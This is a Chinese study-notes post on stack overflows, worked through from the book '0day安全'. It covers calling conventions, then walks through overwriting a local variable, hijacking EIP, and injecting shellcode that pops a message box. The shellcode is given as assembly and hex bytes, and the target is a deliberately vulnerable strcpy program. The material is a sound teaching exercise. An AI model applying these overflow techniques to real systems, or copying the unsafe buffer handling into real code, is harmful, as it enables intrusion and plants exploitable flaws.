0day安全 | Chapter 2 栈溢出原理与实践
启程
会挽雕弓如满月,西北望,射天狼。
为了省空间,从本章开始,粘贴代码时会把作者的大段注释去掉。
首先还是要深入理解程序编译、链接、运行的过程。根据我的经验,在这些方面推荐三本书:
- CSAPP
- 程序员的自我修养
- Windows PE权威指南
栈的思想应用于程序设计和执行实在是非常巧妙!
函数调用约定
其主要包括两方面的内容:
- 参数入栈顺序
- 谁负责恢复堆栈平衡(调用方还是被调用方)
C | SysCall | StdCall | BASIC | FORTRAN | PASCAL | |
---|---|---|---|---|---|---|
参数入栈顺序 | 右->左 | 右->左 | 右->左 | 左->右 | 左->右 | 左->右 |
恢复堆栈平衡 | 调用方 | 被调用方 | 被调用方 | 被调用方 | 被调用方 | 被调用方 |
对于Visual C++
来说,支持以下3种函数调用约定。若需明确使用某种调用约定,需要在函数前加上调用约定声明,否则默认使用_stdcall
:
调用约定声明 | 参数入栈顺序 | 恢复堆栈平衡 |
---|---|---|
_cdecl | 右->左 | 调用方 |
_fastcall | 右->左 | 被调用方 |
_stdcall | 右->左 | 被调用方 |
对于C++
类成员函数来说,它的参数额外包含一个this
指针,在Windows平台这个指针一般通过ECX
寄存器传递,而若使用GCC
编译,则会作为最后一个参数压入栈中。
具体到汇编指令,可以体验一下(以下为_cdecl
):
; 调用前
push 参数3
push 参数2
push 参数1
call 函数地址
; call 完成两件事:
; 1. 把返回地址压入栈(ESP要-4)
; 2. 将EIP更改为要转到的函数地址
; ...
; 下面是被调用函数
push ebp ; 保存旧栈帧底部
mov ebp, esp ; 设置新栈帧底部
sub esp, xxx ; 分配空间
push ebx ; 保存寄存器(可选,按需)
push edi ; 保存寄存器(可选,按需)
push esi ; 保存寄存器(可选,按需)
; ...
; 下面是被调用函数的返回阶段
pop esi ; 恢复寄存器(与之前的push对应)
pop edi ; 恢复寄存器(与之前的push对应)
pop ebx ; 恢复寄存器(与之前的push对应)
add esp, xxx ; 回收分配的空间
pop ebp ; 恢复旧栈帧
retn
; retn 完成两件事:
; 1. EIP = [ESP]
; 2. ESP += 4
; 另外,`retn 4`则代表在ESP在上面的基础上再加4
; ...
; 下面是回到调用方以后
add esp, 12 ; 回收最初push参数3、2、1用到的空间
实际测试时发现一个有意思的地方:测试程序中的被调用方在retn
前做了如下的操作:
事实上,add esp, xxx
与mov esp, ebp
可以达到相同的目的,即恢复ESP。这里多出了一个比较,即检查EBP是否被改动过。可能是出于安全考虑?
注意!本书作者说书中默认全部采用_stdcall
调用方式,但是经过我的验证,本书采用的应该是如上所演示的_cdecl
方式(除非是我下载的随书附带文件并不是作者原来提供的)。有IDA Pro的截图证明如下:
首先是IDA Pro的判断:
接着是根据函数的行为判断。调用方:
被调用方:
可以发现,是调用方在调用后通过add esp, 4
维护了堆栈平衡。
OK。前面算是复习。下面进入动手环节。
覆盖变量
本节实验用到的代码如下:
#include <stdio.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[8];// add local buff
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
while(1){
printf("please input password: ");
scanf("%s",password);
valid_flag = verify_password(password);
if(valid_flag){
printf("incorrect password!\n\n");
}
else{
printf("Congratulation! You have passed the verification!\n");
break;
}
}
}
要求是在strcpy()
环节覆盖掉authenticated
,使得输入错密码也能跳转到正确分支。
分析一下:authenticated
是strcmp
的返回值,当password
比PASSWORD
大时,它是1
,即0x00000001
;反之则是-1
,在内存中即0xFFFFFFFF
。如果在buffer
和authenticated
之间没有多余的空间(事实上可能会有,所以最好还是动态调试分析计算一下),那么我们输入8个字母,将使得buffer
字符串的尾零被填入authenticated
的低位,恰好能够覆盖掉0x00000001
中的1
,达到绕过判断的目的。
输入aaaaaaaa
,成功:
输入00000000
,失败:
这是因为00000000
从字符角度来说小于01234567
,所以authenticated
是0xFFFFFFFF
,而我们只能覆盖掉最低位,所以最终它是0xFFFFFF00
,显然不能绕过判断。
当然,你可以通过后面的介绍的劫持控制流等手段绕过验证,但单从覆盖变量的角度来说,由于只有authenticated
为0时才算绕过,而strcpy()
遇到尾零会停止复制,所以这里没有其他好的方法使得authenticated
的四个字节都被覆盖。因此,所有小于01234567
的字符串都无法使用。
控制EIP
本节对上节代码main函数
稍作修改,使其从文件中读取输入,因为我们希望给EIP一个合理的地址,这样的地址往往带有不可见字符,使用键盘上的按键无法直接输入:
int verify_password (char *password)
{
// ...
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
if(!(fp=fopen("password.txt","rw+"))){
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag){
printf("incorrect password!\n");
}
else{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
我们希望覆盖掉verify_password
的返回地址,那么要做的就是:
- 计算
buffer
到返回地址处的偏移量 - 在对应位置放入一个地址
偏移量很好计算:
从图中可以发现,ebp+0xC
是buffer
的起始地址,我们知道ebp+4
即返回地址的存储位置。所以偏移量为0xC + 0x4 + 0x4
。
可以发现我们要希望的目的地址是0x00401122
,即成功分支。
我们使用二进制编辑器修改输入为:
再次运行,成功。出现错误是因为我们把旧的EBP
覆盖掉了,暂不去管它:
代码植入
本节将进行Shellcode的注入和执行。代码修改如下,主要做了两处修改:
- 增加
buffer
的容量,从而能够注入代码 - 初始化
user32.dll
,方便在Shellcode中调用MessageBox
函数
#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
int authenticated;
char buffer[44];
authenticated=strcmp(password,PASSWORD);
strcpy(buffer,password);//over flowed here!
return authenticated;
}
main()
{
int valid_flag=0;
char password[1024];
FILE * fp;
LoadLibrary("user32.dll");//prepare for messagebox
if(!(fp=fopen("password.txt","rw+")))
{
exit(0);
}
fscanf(fp,"%s",password);
valid_flag = verify_password(password);
if(valid_flag)
{
printf("incorrect password!\n");
}
else
{
printf("Congratulation! You have passed the verification!\n");
}
fclose(fp);
}
我们的目标是劫持控制流到buffer
,调用MessageBox
函数,弹窗(和XSS好像啊),步骤是:
- 计算
buffer
到返回地址处的偏移量 - 在对应位置放入
buffer
首地址 - 在
buffer
中放入Shellcode
偏移量计算结果为52。后两步其实就是Shellcode的编写。根据动态调试(无ASLR和栈不可执行),buffer
首地址为0x0012FAF0
。
关于MessageBox
:
int MessageBox(
hWnd, // handle to owner window
lpText, // text in message box
lpCaption, // message box title
uType // message box style
);
其中hWnd
和uType
均为NULL
即可,另外两个参数我们均设置为good-job
。
注意。系统中并不存在真正的MessageBox
函数,而是会用MessageBoxA
(ASCII)或者MessageBoxW
(Unicode)。
为了用汇编语言调用MessageBox
,我们还需要MessageBox
函数地址。其地址为user32.dll
在系统中的加载地址与MessageBox
在库中的偏移地址相加。我们通过Dependency Walker
随便打开一个带GUI的PE文件便可查看这些数值:
如图,最终MessageBox
地址为0x77D10000 + 0x000407EA = 0x77D507EA
。
然后就是编写Shellcode:
xor ebx, ebx
push ebx
push 626F6A2D
push 646F6F67
mov eax, esp
push ebx ; uType
push eax ; lpCaption
push eax ; lpText
push ebx ; hWnd
mov eax, 0x77D507EA
call eax
其二进制码如下:
33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0
buffer
中的其余空间我们用nop
(二进制为90
)填充,直到返回地址处。最终形成的注入代码如下:
测试:
成功,但同样出现错误,暂不管它。
总结
本章用的环境还是十分简单,没有涉及各种漏洞缓解措施。
之前研究过Linux下的栈溢出,所以到这里还是轻车熟路、毫无压力的。栈溢出的确很有意思啊。不过我更希望在后面跟作者学到堆溢出技术。
继续加油啦。